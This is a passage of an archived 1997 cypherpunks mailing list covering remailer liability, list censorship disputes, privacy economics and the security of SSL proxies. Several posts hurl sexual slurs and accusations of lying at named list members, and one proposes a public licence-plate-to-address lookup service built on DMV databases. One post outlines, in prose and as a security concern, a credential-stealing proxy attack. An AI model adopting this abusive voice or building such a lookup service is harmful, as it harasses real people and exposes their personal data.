> in opposition.

  Of course, those who attempt to point toward those powerful forces
will be be subjected to ridicule as paranoid conspiracy theorists. And
when they point out the facts concerning the underlying alliances and
motivations behind various actors on the list, then they will be met
with rebuttals that so-and-so had a beer with them, once, and they
seemed like a nice person.
  Big news flash! 
    Nazi's attend the opera and kiss babies.
    Money buys people (even those who deny it to themselves).

  I wish I had a dime for every post I've seen on this list that 
denigrates those that suggest that the list is both followed by,
and subjected to interference by, clandestine agencies and agents.
  "What? Our 'How to build a Nuclear bomb' list is being subjected
to surveillance? How silly!"
  Buy a clue, dudes and dudettes. Cryptography is the new Nuclear
technology of the Information Age. Big Brother is paying attention.

>  How easy they find it to distract us, to fill the list
> with irrelevant discussions!  When I see so many posts which are purely
> flame bait, or which seem to go out of their way to explore trivia as
> though it were of interest, I believe that in at least some cases they
> are intentionally designed to thwart our efforts.

   Most people who recognize this still fail to see the 'thwarting'
that takes place by those whose sole purpose is to spread disinformation
while seeming to agree with the consensus opinion on the list. The 
subtle slants which are a constant undercurrent in their posts are
seldom seen as an attempt to undermine the issues they appear to be
supporting.
 
> I'm not calling for censorship, but I'd like people to be aware of what
> is going on.  Before responding to an off-topic or flaming post, consider
> the motivations of the creators of the thread.  Is it possible that this
> is purely an attempt to fill the list with noise, to drown out discussion
> on more important and relevant topics?

  In some cases, undoubtedly, but anyone who thinks that the flames
and off-topic posts are the enemy on this list are _not_ aware of
what is going on.
  Noise will deflect idiots and lightweights from following the crucial
issues surrounding cryptography, but this in no great loss. The true
loss to the list is when the supposedly intelligent members lose the
capacity to distinguish critical points raised on the list because they
have allowed themselves to fall into the same personality based mode
of censorship as was forcefully imposed on the list.

  Look at the number of people on the list who _boast_ about their
killfiles. They are idiots. Even those who profess to use their 
filters as an information tool seem to base their filtering on
personality, to a large degree.
  The result? They are filtering _into_ view those the disinformation
artists who will lick their dick in order to lead them away from 
areas they don't want to receive too much attention.

  The result of the sheep mentality of cliques who killfile each other
is that if a list member wants to raise an issue outside of his or her
own _clan_ on the list, then they must make NOISE sufficient to draw
in the members of other clans, whose other members will read their
replies.
  Your post might waken a few of the converted to remind them that it
takes an effort to stay on track, but if you had found a way to work
the word "cocksucker" into the list, you would have reached a wider
audience, and perhaps done some good where it will be more effective.
(Or, better yet, badmouth the list Icons.)

  The fact of the matter is, spotting spooks and schills on this list
is a minor matter of the simplest of traffic analysis, given the fact
that so many list members are content to focus their attention only on
the _visible_ enemies that those who use deceit and deception have to
make little effort to cover their tracks.

> Simply being aware of the attack will, I suggest, go a long way towards
> reducing its impact.

  I think that all list members would be well-advised to read your post
and give it serious thought.
  I think, however, that they should also make an attempt to broaden
the concepts you deal with, in their own mind, in order to adjust their
view as to the true nature of the traffic on this list really is.

TruthMonger






From dlv at bwalk.dm.com  Sat Mar 22 01:00:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:42 -0800 (PST)
Subject: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <Vuky4D7w165w@bwalk.dm.com>


nobody at huge.cajones.com (Huge Cajones Remailer) writes:
...
>
> Truthmonger
>
>
>     Cindy
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Do we know anyone named Cindy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 22 01:00:53 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:53 -0800 (PST)
Subject: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
In-Reply-To: <199703210008.QAA00799@crypt.hfinney.com>
Message-ID: <Fwky4D8w165w@bwalk.dm.com>


Hal Finney <hal at rain.org> writes:
...
> In my travels around the web, I find that First Virtual is being
> relatively successful for small amounts like shareware fees.  It is
> easy to get started with FV; you fill out their web page and make a call
> to their 800 number with your credit card info.  You're ready to go in
> a few minutes.  I'm sure there are a lot more people buying things with
> FV than with Digicash.
...

I just had an idea for an interesting demo project. Perhaps someone
wants to take it up and to put a spin on it to promote privacy/cryptography.

Most (perhaps all) states' motor vehicle departments allow you to connect
to their computer (usually via a modem) and map licence plate numbers into
names/addresses.  Typically you must first set up an account and pay, e.g.,
$200, and then something like $4 is deducted from the account for each
query. Obviously, only someone who performs a lot of queries (like a p.i.
or a lawyer) would set up an account.

It occurred to me that it might be "interesting" for someone to set up
accounts with all the states that have this service; and to establish a
Web site that would do quantity 1 queries for a reasonable fee, like $FV10.

I recall that someone got hold of the Washington State database and
operated such a service for free for a few days as a demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 22 01:00:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:56 -0800 (PST)
Subject: More disinfo from Cocksucker John Gilmore
In-Reply-To: <858966058.116257.0@fatmans.demon.co.uk>
Message-ID: <HcLy4D9w165w@bwalk.dm.com>



paul at fatmans.demon.co.uk writes:

>
> >no longer trusted Gilmore to
> >host the list.
> >
> > On the planet I live on, the list moved because Gilmore was no longer
> > willing to host the list
>
> On the other hand the majority of the list members, including myself,
> would say that the reason the list moved was because  of the
> censorship imposed by statist cocksucker Gilmore.
>
> The list rapidly disentigrated into infighting and flame wars as soon
> as the censorship was announced, several people suggested new list
> solutions before Gilmore anounced he was closing the list, I remember
> talking in private email with Igor and several others about the
> distributed mailing list solution immediately the censorship was
> announced.
>
> > Question:
> >
> > Is this true dissinformation or does this scumbag  Russian sociopath
> > believe his own lies?
>
> Question:
>
> 1. Is this bot generated or does "Casey Iverson" really exist? - I
> would say he is a real person due to the level of context sesitivity and
> quoting in his posts, however, it is beyond my comprehension that
> anyone could be this inane...

Unfortunately, New York City is the home to several people who in a
more restrictive society would have been committed - Case Iverson,
Ray Arachelian, the lying crackpot Charles Platt from alt.torture...

> 2. If "Casey" does exist does he suck John Gilmore`s cock or is he
> more of a Sandfort man?

Neither Gilmore nor Sandfart have cocks long enough to reach from
California... But Iverson may be sucking Arachelian's cock.

> 3. Could the level of stupidity in his posts be easily emulated by a perl
> script or would this require more complicated code including inducing
> gramatical errors, anti Russian rants and turns of phrase that simply
> fail to scan right in the context in which they are generated?

With difficulty. A program's output would likely sound more intelligent.

> 4. Is there a low bandwidth stego channel hidden in his rants, with
> the data transmitted as integers giving the apparent IQ of the writer
> for each message?

Yes, but it's a very low bandwidth channel capable of transmitting
single digits only.

> 5. If he does exist and is sentient is he an NSA schill wasting our
> time and effort to stop us doing crypto?

A very good point, Paul.

You may have noticed that Cocksucker John Gilmore spreads lies and
disinformation, he makes up hard numbers which can be proven to be false -
but it would require an effort that could be used more productively e.g. on
setting up more remailers. Consider several of Cocksucker John Gilmore's
recent claims made through his subservient mouthpiece Rich Graves. In
article <5gl63i$4eu at quixote.stanford.edu> Cocksucker John Gilmore wrote:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. There were several mail
loops during the list's existance on toad.com, none of which were caused by
me. The list moved because of Gilmore's censorship, which Graves forgets to
mention at all. list. In article <5gkfag$36o at quixote.stanford.edu>
Cocksucker John Gilmore/Graves further wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

The cypherpunks mailing list is archived at several sites. As I pointed out,
it's possible to search the archives and to verify that in the several years
that I've been on this list, there was not a single day when I posted 50
articles; not a single day when I posted even 15 articles; and probably less
than 10 days when I posted more than 5 articles. Cocksucker John Gilmore
is lying again. In the same article Gilmore/Graves wrote:

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I have repeatedly stated that it is NOT my intention to disrupt
the mailing list. The total size of the Serdar Argic material is under 200K.
I'd be surprised if the total size of my contributions to cypherpunks over
the years adds up to more than a couple of megabytes.

But of course we know that Cocksucker John Gilmore is a pathological liar,
so we can do something more useful than digging through the archives.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From toto at sk.sympatico.ca  Sat Mar 22 01:58:08 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 22 Mar 1997 01:58:08 -0800 (PST)
Subject: For-pay remailers (was: PGP Security)
In-Reply-To: <199703220038.QAA04284@crypt.hfinney.com>
Message-ID: <3333ACEE.19A4@sk.sympatico.ca>


Hal Finney wrote:

> Rather than try to design or envision a grand infrastructure with
> everything working perfectly like a smoothly running machine, let's wait
> and see how for-pay remailers fare once they appear.  There's nothing
> like the profit motive to unlease creativity.  I'm sure methods for
> providing high quality service can be found.

  That sounds much better than "Let's sit on our asses and see if the
for-pay remailers fare, _if_ they ever appear, while the attacks 
continue knock off more remailers."

  One of the main reasons the CypherPunks list continued as it did
was because of those who actively made plans for its continuance,
instead of sitting on their asses.
  Are you and Greg working as a team, here?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From gbroiles at netbox.com  Sat Mar 22 02:14:59 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 22 Mar 1997 02:14:59 -0800 (PST)
Subject: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <3.0.1.32.19970322015649.006f21a8@mail.io.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/21/97 -0800, Toto wrote:
>  Two remailers go down in the same week, both being tenacles of C2Net.
>  Greg Broiles once again happens upon the scene of the accident, and
>predictably warns everyone of the grave dangers and liabilities facing
>remailer operators. How long until he publicly calls for the remailers
>to be "killed," as he did with the cypherpunks list?

You ought to read more carefully. I suggested that remailers who *charge for
remailing* may be treated differently under the law than remailers who don't
if they're sued as contributory or vicarious infringers of copyrights. I've
been making that point for at least a year, maybe as long as two years.
(There's a particular Ninth Circuit case - _Fonovisa v. Cherry Auction_ -
which I believe suggests that conclusion, or at least highlights the
relationship between profit and contributory/vicarious liability. It's also
discussed in _RTC v. Netcom_, although the _Fonovisa_ case discussed in _RTC_
was the district court's opinion, which was reversed in the Ninth Circuit, if
I remember correctly.)

Would you prefer that I don't mention that potential development and silently
watch remailer operators unknowingly expose themselves to extra liability? Or
that I speak up and be called an enemy of the remailers? It's not clear to me
what you think I ought to do, except perhaps modify my understanding of the
law to more closely match what you wish it was. 

Also, I did not call for the list to be killed, I said I thought it was dead,
and still think so. The list sees precious few messages worth reading or
responding to. Other forums provide a much better signal/noise ratio and have
far fewer distracting kooks. This list was once a useful place to keep
up-to-date on new developments in cryptography, both technical and
legal/political. Now it's mostly useful as a decoy, allowing loons & kooks of
various flavors to focus their energies and messages here, leaving other
lists and other forums for people actually interested in getting things done.
I get better crypto news faster from other places now. 

My comments, sent on 2/6/97, about "killing the list" are below:

- --

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

- --

>  Instead of solutions to the problems facing small remailers, we have
>schills coming out of the woodwork to proclaim that remailers are only
>feasible for Big Business to operate.

I think anyone (be they a "real person" or a "corporate person") with any
substantial assets ought to distance themselves from remailers because there
are too many people inclined to deliberately attack remailer operators and
the remailer network by sending harmful messages which they or third parties
then complain about. If I didn't think this was true, I'd run a remailer
again myself. 

My current favorite model for remailer ownership and financing consists of a
charitable or spendthrift trust which [perhaps funds a nonprofit corporation
which] rents machine time/net access to run a remailer.

I think that actually fighting a lawsuit against a remailer is likely
pointless, unless the remailer attracts an attorney willing to handle it pro
bono and the remailer operator feels like being a test case. It makes much
more sense to think of remailers as temporary and ephemeral, disappearing
when squeezed too hard and reappearing with a different name and different
ISP. 

>  Corporate takeover of the list failed, now corporate takeover of the
>remailers seems to be the new agenda.

Why would this be useful? Big greedy corporations can't get enough potential
liability? Big greedy corporations can't get enough spam? Big greedy
corporations want to get complaint mail? You've obviously never run a
remailer or a corporation yourself.

>  I suggest that, instead of wasting time on a new battle, we simply 
>resurrect all of the arguments over list control and re-post them
>as arguments over remailer control, simply substituting the word
>"remailer" everywhere that the word "list" occurs.

I suggest that you get a new hobby.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzOsif37pMWUJFlhAQFdbwf+LTCZl8z32oeJq1oKDj+QJfGb2zGea1jK
zfjPARBt5KInQO81FMeEh+R8v0C5dDu9fXpIK69afL22qd5K2QAqnApENzkFL8AC
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GtELQIHyio5k5bNHBpCad+lCpadz+NsyicUdUltBEWr/NfJzUu9+XRA2PEImdKVF
LrdZlVOWc/4MSmiJrfEFr2Si8f1j1Ete2/0YVpF94v2C4VadHrmhvQ==
=gYpd
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From toto at sk.sympatico.ca  Sat Mar 22 05:01:59 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 22 Mar 1997 05:01:59 -0800 (PST)
Subject: FBI Visits JPUNIX
In-Reply-To: <3.0.1.32.19970322015649.006f21a8@mail.io.com>
Message-ID: <3333D81F.7D4F@sk.sympatico.ca>


Greg Broiles wrote:
> 
> I suggested that remailers who *charge for
> remailing* may be treated differently under the law than remailers who don't
> if they're sued as contributory or vicarious infringers of copyrights.
> 
> Would you prefer that I don't mention that potential development and silently
> watch remailer operators unknowingly expose themselves to extra liability? 

  I would prefer that you use your claimed legal knowledge to suggest
ways for remailers to prevail, rather than reasons for them to quit.

  R.J. Ringer says, "There are basically two kinds of attorneys who 
kill deals: those who admit it (none) and those who deny it (all)."
  Lawyers are for government and corporations, where they can get 
together and charge their employers/clients large sums to decide who
gets fucked, when they get fucked, and how they get fucked.
  In the ordinary world they are as useful as balls on a mannequin.

  The only lawyers I've seen who are capable of enabling action, rather
than killing deals, are mob lawyers. I think it may be because they are
working for rats who are too big to fuck.

> Also, I did not call for the list to be killed
> My comments, sent on 2/6/97, about "killing the list" are below:

> it looks to me like it's time to kill the list 

  You're leading with your chin, Greg.
 
> It makes much
> more sense to think of remailers as temporary and ephemeral, disappearing
> when squeezed too hard and reappearing with a different name and different
> ISP.

  Damn, this is right on the edge of almost being a positive thought.
Perhaps if you were kidnapped and deprogrammed soon, there might still
be hope for you to live a normal life.
  If you are going to point out the doom and gloom issues surrounding
remailers, then why not at least point their operators toward whatever
ray of light there may be, as well?

  Perhaps you could work with Attila to enhance remailer operator's
chances of survival.
  You could teach them how to duck, and he could teach them how to
shoot.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From aba at dcs.ex.ac.uk  Sat Mar 22 05:07:03 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 22 Mar 1997 05:07:03 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221301.NAA31858@server.test.net>



Wei Dai <weidai at eskimo.com> writes:
> On Fri, 21 Mar 1997, Timothy C. May wrote:
> > The best arguments are not those couched in terms of "benefits" to
> > society/markets, but in terms of "lowest common denominators." I favor the
> > "Schelling point" view, and have espoused it here often.
> > 
> > In most Western systems, a reasonable Schelling point is that various
> > actors agree not to try to enter the "private spaces" of others. For
> > example, my neighbors and I agree not to enter each other's houses to pry
> > and inspect.
> > 
> > (The Schelling point is that this "boundary" point is essentially agreed
> > upon even though my neighbors and I have never formally negotiated it...as
> > with animals and their "territories," certain equilibrium points are
> > reached.)
> > 
> > In Western systems, it is recognized that the _costs_ of coercively
> > entering another's home and/or private space are too high, and so we
> > declare there to be a "right of privacy." In reality, what we mean is that
> > we accept a private domain as a Schelling point.
> 
> I think you're answering the third meaning of "why privacy", "why DOES
> privacy exist?"  This is a positive rather than a normative question
> (which is what I was asking).  I agree with you that most likely privacy
> exist because in some sense it is an equilibrium in the game of life.  But
> what I'm asking is whether it is a desirable equilibrium, and whether a
> new equilibrium involving more privacy is better than what we have now. 

Well things aren't standing still.  Absent continual watchfulness,
political lobying, and cypherpunkery (writing freeware crypto code,
and providing privacy memes), privacy is taking a huge negative hit.

You requested an argument couched market economic terms as to why
reduced privacy might be a bad idea for the market efficiency.
Consider:

Less privacy is a bad thing in market economics terms, because as
privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism,
etc. the free market economy will go to hell.  Poverty, and food
shortages will result, a la the former USSR, which is slowly
recovering from the decline caused by statist, facist policies.  We on
the other hand, absent pressure from outside government, law
enforcement and secret services circles are collectively headed into
that fascist driven downward spiral.in economics.

> > I reject the argument Wei Dai mentions, that market benefits could obtain
> > if society rejected privacy, for two reason. First, because in an important
> > sense rights are not the slaves of corporate or personal business
> > interests. (E.g., my interest in Alice's television viewing habits does not
> > trump her right to keep me out of her house.). Second,  because so-called
> > "market efficiency" is largely an illusion anyway.
> 
> Certainly no real market is perfectly efficient, but some markets
> are relativly more efficient than others, and most markets are more
> efficient than alternative forms of economic organization (e.g.,
> socialism) so I don't see how you can call "market efficiency" an
> illusion.  The inefficiencies I was talking about were relative to the
> case where both parties have the same information.
> 
> Also, I don't quite understand your first argument.  It seems to suggest
> that privacy should exist for no reason in particular.  If this is the
> case then it doesn't make sense to argue about the costs/benefits of
> privacy. But it is my understanding that most cypherpunks believe more
> privacy benefits everyone, and therefore work to making more privacy for
> everyone.  What I'm looking for are arguments that support this belief.

Wide-spread strong privacy tends to support a freer economy, and
reduced government overhead.

Presumably the increased market efficiency you refer to as obtainable
by reducing privacy refers to the loss of direct marketing
opportunities for commercial advertisers.  I'm not sure that this
(putative) gain in the market efficiency would be significant compared
to the huge efficiency gains to be made from dismantling or reducing
governments.

Is it not pro-competition, and supportive of a free market to have
privacy preserving technology widely used?  Then commercial
advertisers who wish to target groups of potential purchasers of their
wares, can pay the purchasers for the information.  (The information
belongs to the individual, so it seems fair that a commercial entity
should have to pay for it.)  Examples would be store loyalty cards
which offer discounts, or points, and in return obtain customer
spending patterns.  If sharper commercial interests choose to buy the
users spending patterns at reduced rates by preserving their privacy
using non-crossreferenceable Chaumian credentials, well more power to
them.  The market can decide.  This is a market based solution.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From frissell at panix.com  Sat Mar 22 05:52:23 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 22 Mar 1997 05:52:23 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970322085503.029279c4@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 08:34 AM 3/21/97 -0500, Alec wrote:
>...Hell's Angels and Rock Machine...have been battling for control of the
- ----------------------^^^^
>illegal drug trade in Canada.
>
>Canadian justice minister, Allan Rock, said
- ----------------------------------^^^^

I've had my doubts about Allan ever since the debates on the gun registration
bill.  Even Canadians can conspire.  

DCF
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From adam at homeport.org  Sat Mar 22 06:17:49 1997
From: adam at homeport.org (Adam Shostack)
Date: Sat, 22 Mar 1997 06:17:49 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221413.JAA24753@homeport.org>


Wei Dai wrote:

| Also, I don't quite understand your first argument.  It seems to suggest
| that privacy should exist for no reason in particular.  If this is the
| case then it doesn't make sense to argue about the costs/benefits of
| privacy. But it is my understanding that most cypherpunks believe more
| privacy benefits everyone, and therefore work to making more privacy for
| everyone.  What I'm looking for are arguments that support this belief.

	Privacy should exist because information is power.
Information about me gives you power over me.  If you don't know my
home address, you can't stalk me as easily.  If you don't know my
phone number, you can't make harrassing phone calls.

	New laws get passed from time to time.  Laws banning behaviors
that were perfectly legal before.  Smoking pot, drinking without the
state's intervention, gambling, buying fertilizer, were all legal and
free at one point.  If todays mechanisms for invading privacy (such as
surveillance cameras, credit card tracking of purchases, etc) were in
place, then the government could have used them to round up thousands
of people, like they did with the Californian Japanese in the second
world war.  They did this via Post Office and IRS records.

	Being Japanese wasn't illegal, but those Japanese who built
privacy into their lives had a chance to move to a less racist state.

	Privacy matters because information is power, and power tends
to corrupt, and absolute power corrupts absolutely.

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"









From lucifer at dhp.com  Sat Mar 22 06:59:22 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 22 Mar 1997 06:59:22 -0800 (PST)
Subject: Crypto Info War
Message-ID: <199703221459.JAA19848@dhp.com>


John Young wrote:
> 
> Congressional Record: March 19, 1997:
> 
> The Senate
> 
> *****
> 
> DOD AUTHORIZATION--INFORMATION WARFARE [5]
> Committee on National Security: Subcommittee on Military Procurement
> and Subcommittee on Military Research and Development held a joint
> hearing on fiscal year 1998 Department of Defense authorization
> request--Information Warfare. Testimony was heard from the following
> officials of the Department of Defense: 

> Vice Adm. Arther K.
> Cebrowski, USN, Director, Navy Space, Information Warfare, Command and
             ^^^                        ^^^^^^^^^^^^^^^^^^^
> Control, Chief of Naval Operations;
           ^^^^^^^^^^^^^^^^^^^^^^^^^

> and Marvin Langston, Deputy Assistant Secretary,
> Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
           ^^^^^^^^^^^^^^^^^^                 ^^^^^^^^^^^^^^^^^^^^^^^
> Secretary of the Navy (Research, Development and Acquisition);
  ^^^^^^^^^^^^^^^^^^^^^

  Who was it who funded the development of RSA?

  Can you say "Navy?" Sure, you can.

TruthMonger






From kent at songbird.com  Sat Mar 22 07:10:59 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 22 Mar 1997 07:10:59 -0800 (PST)
Subject: LA Times article on crypto anarchy
In-Reply-To: <199703220856.AAA02883@mailmasher.com>
Message-ID: <19970322070910.36388@bywater.songbird.com>


On Sat, Mar 22, 1997 at 12:56:02AM -0800, Huge Cajones Remailer wrote:
> 
>   Look at the number of people on the list who _boast_ about their
> killfiles. They are idiots. Even those who profess to use their 
> filters as an information tool seem to base their filtering on
> personality, to a large degree.
>   The result? They are filtering _into_ view those the disinformation
> artists who will lick their dick in order to lead them away from 
> areas they don't want to receive too much attention.
> 
>   The result of the sheep mentality of cliques who killfile each other
> is that if a list member wants to raise an issue outside of his or her
> own _clan_ on the list, then they must make NOISE sufficient to draw
> in the members of other clans, whose other members will read their
> replies.

An interesting idea.  However, while there is no doubt some truth to 
it, I think you are vastly overestimating the strength of the 
effect.  The barriers between cliques are quite permeable, and there 
are many people who have cross membership in several.  So no 
significant good idea is going to be blocked.

A far more important form of filtering takes place inside the cranium. 
Human beings find it essentially impossible to accept ideas from
people they consider assholes, even if they "read" every word.  

>   The fact of the matter is, spotting spooks and schills on this list
> is a minor matter of the simplest of traffic analysis, given the fact
> that so many list members are content to focus their attention only on
> the _visible_ enemies that those who use deceit and deception have to
> make little effort to cover their tracks.

I think you are vastly overrating the impact of "spooks" and "shills" 
on the operation of this list.  It seems to proceed by its own dynamic.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com,kc at llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From real at freenet.edmonton.ab.ca  Sat Mar 22 07:29:58 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 22 Mar 1997 07:29:58 -0800 (PST)
Subject: More disinfo from Cocksucker John Gilmore
In-Reply-To: <HcLy4D9w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970322082606.79538A-100000@fn2.freenet.edmonton.ab.ca>


On Sat, 22 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis your pants are on fire.
> 
> You may have noticed that Cocksucker John Gilmore spreads lies and
> disinformation, he makes up hard numbers which can be proven to be false -
> but it would require an effort that could be used more productively e.g. on
> setting up more remailers. Consider several of Cocksucker John Gilmore's
> recent claims made through his subservient mouthpiece Rich Graves. In
> article <5gl63i$4eu at quixote.stanford.edu> Cocksucker John Gilmore wrote:







From pgut001 at cs.auckland.ac.nz  Sat Mar 22 07:44:17 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 22 Mar 1997 07:44:17 -0800 (PST)
Subject: Security of SSL proxies
Message-ID: <85904544316081@cs26.cs.auckland.ac.nz>


A number of vendors are now selling SSL proxies which implement secure 
tunnelling for web browsers using a non-crippled SSL implementation running on 
the client machine.  Has anyone considered the total security level provided 
by one of these systems?  I can see three problems with this approach:
 
1. The security stops a few feet short of the browser, making a MITM attack 
   possible (see below).
 
2. Security and authentication is handled by the proxy and not the browser.  
   This means that the browser (and browser user) never get to see the usual 
   indicators that their connection is secure (or "secure" for non-US users).
 
3. If you use a proxy like this to protect traffic for an entire company, the 
   proxy provides the same type of target as a GAK key center: An attack which 
   compromises this compromises security for the entire company.
 
The first one is a practical problem, the second one is more perceptual.  
Consider the following possible attack: A nice authenticoded ActiveX control 
("the tee proxy") installs itself on your machine and hooks itself into the 
chain of proxies by either moving the SSL proxy to a different port or 
changing the browser config entry so it's the first proxy in the chain.  It 
then scans all data being forwarded for credit card numbers/PINs/whatever and 
forwards them to God knows where.
 
There are various simple defences (eg the SSL proxy checks to make sure the 
browser still goes to it first), but in the end it's just a cat and mouse 
game - the tee proxy could spoof the registry calls (there was an article in 
DDJ which explains how to do this), or disable the check, or hook directly 
into the proxy service by patching the DLL (this was explained in MSJ I 
think).  In short, because the security stops a few feet short, it's possible 
to attack the system.
 
A related problem is that fact that the browser isn't aware that a layer of 
security is being applied to the connection, and so will act as if the 
connection was insecure (ie it won't display the usual signs that the link is 
secured, and will give annoying warnings when navigating secure web sites).
 
Finally, pulling personal certs into/through the proxy is rather complex, 
requiring the cooperation of the CA in issuing specific types of certs (one 
browser-specific one for the browser and an identical-content but 
proxy-specific one for the proxy), and all sorts of complex juggling by the 
user to install them.  This probably makes the use of certs in this 
environment fairly luser-proof, which more or less means no certs.
 
Are there any other problems which people are aware of?  There was a bit of a 
fuss made about these proxies being the end of ITAR when they were first 
announced, but since then things seem to have gone quiet.
 
Peter.






From jimbell at pacifier.com  Sat Mar 22 09:09:57 1997
From: jimbell at pacifier.com (jim bell)
Date: Sat, 22 Mar 1997 09:09:57 -0800 (PST)
Subject: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
Message-ID: <199703221709.JAA15053@mail.pacifier.com>


At 03:17 AM 3/22/97 EST, Dr.Dimitri Vulis KOTM wrote:
ty 1 queries for a reasonable fee, like $FV10.
>
>I recall that someone got hold of the Washington State database and
>operated such a service for free for a few days as a demo.

It was Oregon... unless you are thinking of an incident that I didn't hear of.

I have the Oregon DMV database on CDROM.


Jim Bell
jimbell at pacifier.com





From tcmay at got.net  Sat Mar 22 09:17:15 1997
From: tcmay at got.net (Timothy C. May)
Date: Sat, 22 Mar 1997 09:17:15 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <v03007810af59c4e98993@[207.167.93.63]>



Much as I agree with the point that privacy is desirable, I find the
"market efficiency" arguments unpersuasive, at least as presented below:

At 1:01 PM +0000 3/22/97, Adam Back wrote:

>You requested an argument couched market economic terms as to why
>reduced privacy might be a bad idea for the market efficiency.
>Consider:
>
>Less privacy is a bad thing in market economics terms, because as
>privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism,
>etc. the free market economy will go to hell.  Poverty, and food
>shortages will result, a la the former USSR, which is slowly
>recovering from the decline caused by statist, facist policies.  We on
>the other hand, absent pressure from outside government, law
>enforcement and secret services circles are collectively headed into
>that fascist driven downward spiral.in economics.

Or, since we all understand perfectly well that *credit cards* and *checks*
and other forms of *electronic payment* are not private in the way cash is,
Adam's argument could read as follows:

"Using credit cards and checks is a bad thing in market economics terms,
because as privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism, etc. the
free market economy will go to hell.  Poverty, and food shortages will
result, a la the former USSR, which is slowly recovering from the decline
caused by statist, facist policies.  We on the other hand, absent pressure
from outside government, law enforcement and secret services circles are
collectively headed into that fascist driven downward spiral.in economics."

In other words, I submit the fallacy of this comment, that traceable
